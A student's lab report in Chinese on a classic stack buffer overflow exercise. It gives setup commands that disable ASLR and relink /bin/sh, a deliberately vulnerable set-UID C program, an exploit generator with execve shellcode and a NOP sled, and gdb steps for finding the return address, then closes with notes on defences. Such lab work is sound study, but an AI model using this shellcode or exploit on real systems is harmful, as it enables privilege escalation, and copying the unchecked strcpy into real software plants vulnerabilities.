实验七-缓冲区溢出

实验七-缓冲区溢出

实验指导书内容

实验准备

  • 安装gdb
  • 1 sudo apt-get update
    2 sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
    3 sudo apt-get install -y python3.6-gdbm gdb

初始设置

  • 关闭使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址这一功能
  • 1 sudo sysctl -w kernel.randomize_va_space=0
  • 设置zsh程序
  • 1 sudo su
    2 cd /bin
    3 rm sh
    4 ln -s zsh sh
    5 exit

漏洞程序

  • 在 /tmp 目录下新建一个 stack.c 文件
  • 1 cd /tmp
    2 vim stack.c
  • 并在stack.c文件中输入以下代码
  •  1 /* stack.c */
     2 
     3 /* This program has a buffer overflow vulnerability. */
     4 /* Our task is to exploit this vulnerability */
     5 #include <stdlib.h>
     6 #include <stdio.h>
     7 #include <string.h>
     8 int bof(char *str)
     9 {
    10     char buffer[12];
    11 
    12     /* The following statement has a buffer overflow problem */ 
    13     strcpy(buffer, str);
    14 
    15     return 1;
    16 }
    17 
    18 int main(int argc, char **argv)
    19 {
    20     char str[517];
    21     FILE *badfile;
    22 
    23     badfile = fopen("badfile", "r");
    24     fread(str, sizeof(char), 517, badfile);
    25     bof(str);
    26 
    27     printf("Returned Properly\n");
    28     return 1;
    29 }
  • 编译该程序,并设置 SET-UID
  • 1 sudo su
    2 gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
    3 chmod u+s stack
    4 exit

攻击程序

  • 在 /tmp 目录下新建一个 exploit.c 文件并编译
  • 1 cd /tmp
    2 vim stack.c
  • 输入如下
  •  1 /* exploit.c */
     2 /* A program that creates a file containing code for launching shell*/
     3 #include <stdlib.h>
     4 #include <stdio.h>
     5 #include <string.h>
     6 
     7 char shellcode[] =
     8     "\x31\xc0" //xorl %eax,%eax
     9     "\x50"     //pushl %eax
    10     "\x68""//sh" //pushl $0x68732f2f
    11     "\x68""/bin"     //pushl $0x6e69622f
    12     "\x89\xe3" //movl %esp,%ebx
    13     "\x50"     //pushl %eax
    14     "\x53"     //pushl %ebx
    15     "\x89\xe1" //movl %esp,%ecx
    16     "\x99"     //cdq
    17     "\xb0\x0b" //movb $0x0b,%al
    18     "\xcd\x80" //int $0x80
    19     ;
    20 
    21 void main(int argc, char **argv)
    22 {
    23     char buffer[517];
    24     FILE *badfile;
    25 
    26     /* Initialize buffer with 0x90 (NOP instruction) */
    27     memset(&buffer, 0x90, 517);
    28 
    29     /* You need to fill the buffer with appropriate contents here */
    30     strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    31     strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100
    32 
    33     /* Save the contents to the file "badfile" */
    34     badfile = fopen("./badfile", "w");
    35     fwrite(buffer, 517, 1, badfile);
    36     fclose(badfile);
    37 }
  • 进入 gdb 调试
  • 1 gdb stack
    2 disass main

  • 有图可知我的断点和示例相同,都是0x0x0484ee
  • 接下来设置断点
  • 1 b *0x080484ee
    2 r
    3 i r $esp

  • 根据0xffffd270加64算出结果,并修改文件
  • 1 vim exploit.c

  • 可知将\x??\x??\x??\x??对应改成\d4\d2\ff\ff
  • 编译 exploit.c 程序
  • 1 gcc -m32 -o exploit exploit.c

攻击结果

  • 先运行攻击程序 exploit,再运行漏洞程序 stack
  • 1 ./exploit
    2 ./stack

缓冲区溢出的原理

  • 通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的 堆栈 ,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。
  • 程序员通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。

缓冲区溢出的防范

系统管理上的防范策略

  • 一要关闭不需要的特权程序,二要及时给程序漏洞打补丁。

软件开发过程中的防范策略

  • 发生缓冲区溢出的主要及各要素是:数组没有边界检查而导致的缓冲区溢出;函数返回地址或函数指针被改变,使程序流程的改变成为可能;植入代码被成功的执行等等。所以针对这些要素,从技术上可以采取一定的措施。
  •  强制写正确的代码:只要在所有拷贝数据的地方进行数据长度和有效性的检查,确保目标缓冲旦中数据不越界并有效,则就可以避免缓冲区溢出,更不可能使程序跳转到恶意代码上。
  •  通过操作系统使得缓冲区不可执行,从而阻止攻击者殖入攻击代码。通过使被攻击程序的数据段地址空间不可执行,从商使得攻击者不可能执行被植入被攻击程序输入缓冲区的代码,这种技术被称为缓冲区不可执行技术。
  • 改进C语言函数库:C语言中存在缓冲区溢出攻击隐患的系统匾数有很多。例如gets(),sprintf(),strcpy(),strcat(),fscanf(),scanf(),vsprintf()等。可以开发出更安全的封装了若干己知易受堆栈溢出攻击的岸函数。
  • 使堆栈向高地址方向增长:使用的机器堆栈压入数据时向高地址方向前进,那么无论缓冲区如何溢出,都不可能覆盖低地址处的函数返回地址指针,也就避免了缓冲区溢出攻击。但是这种方法仍然无法防范利用堆和静态数据段的缓冲区进行溢出的攻击。
  • 在程序指针失效前进行完整性检查:原理是在每次在程序指针被引用之前先检测该指针是否己被恶意改动过,如果发现被改动,程序就拒绝执行。
  • 利用编译器将静态数据段中的函数地址指针存放地址和其他数据的存放地址分离。

参考网页

  • https://blog.csdn.net/weixin_45007073/article/details/116502542
  • https://baike.baidu.com/item/%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA/678453#:~:text=%E5%8E%9F%E7%90%86%20%E9%80%9A%E8%BF%87%E5%BE%80%E7%A8%8B%E5%BA%8F%E7%9A%84%20%E7%BC%93%E5%86%B2%E5%8C%BA,%E5%86%99%E8%B6%85%E5%87%BA%E5%85%B6%E9%95%BF%E5%BA%A6%E7%9A%84%E5%86%85%E5%AE%B9%EF%BC%8C%E9%80%A0%E6%88%90%E7%BC%93%E5%86%B2%E5%8C%BA%E7%9A%84%E6%BA%A2%E5%87%BA%EF%BC%8C%E4%BB%8E%E8%80%8C%E7%A0%B4%E5%9D%8F%E7%A8%8B%E5%BA%8F%E7%9A%84%20%E5%A0%86%E6%A0%88%20%EF%BC%8C%E9%80%A0%E6%88%90%E7%A8%8B%E5%BA%8F%E5%B4%A9%E6%BA%83%E6%88%96%E4%BD%BF%E7%A8%8B%E5%BA%8F%E8%BD%AC%E8%80%8C%E6%89%A7%E8%A1%8C%E5%85%B6%E5%AE%83%E6%8C%87%E4%BB%A4%EF%BC%8C%E4%BB%A5%E8%BE%BE%E5%88%B0%E6%94%BB%E5%87%BB%E7%9A%84%E7%9B%AE%E7%9A%84%E3%80%82

  • https://www.yisu.com/news/id_455.html

posted @ 2022-12-15 15:14  20221408柳笛  阅读(672)  评论(0编辑  收藏  举报